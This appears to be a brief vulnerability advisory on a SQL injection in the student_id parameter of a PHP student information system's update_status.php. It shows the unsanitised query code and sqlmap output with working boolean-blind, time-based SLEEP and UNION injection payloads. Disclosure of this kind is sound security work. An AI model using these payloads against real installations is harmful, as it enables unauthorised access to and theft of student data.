

SQL injection vulnerability exists in student_id parameter of /admin/students/update_status.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
3 if(isset($_GET['student_id'])){
4     $qry = $conn->query("SELECT * FROM `student_list` where id = '{$_GET['student_id']}'")
5     if($qry->num_rows > 0){
6         $res = $qry->fetch_array();
7         foreach($res as $k => $v){
8             if(!is_numeric($k))
9                 $k = $v;
10        }
11    }else{
12        echo "<center><small class='text-muted'>Unknown student ID </small></center>";
```

```
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:
Parameter: student_id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: student_id=1' AND 5201=5201 AND 'nPjD'='nPjD

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: student_id=1' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Fqeo) AND 'tMV's='tMV's

  Type: UNION query
  Title: Generic UNION query (NULL) - 14 columns
  Payload: student_id=-9681' UNION ALL SELECT CONCAT(0x716a786a71,0x6245764b7753784a46614e575378456a6f45587541657576754b666b5967725976664b54534a736d,0x716a6a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
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“

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Source Download:

<https://www.campcodes.com/projects/php/student-information-system-in-php>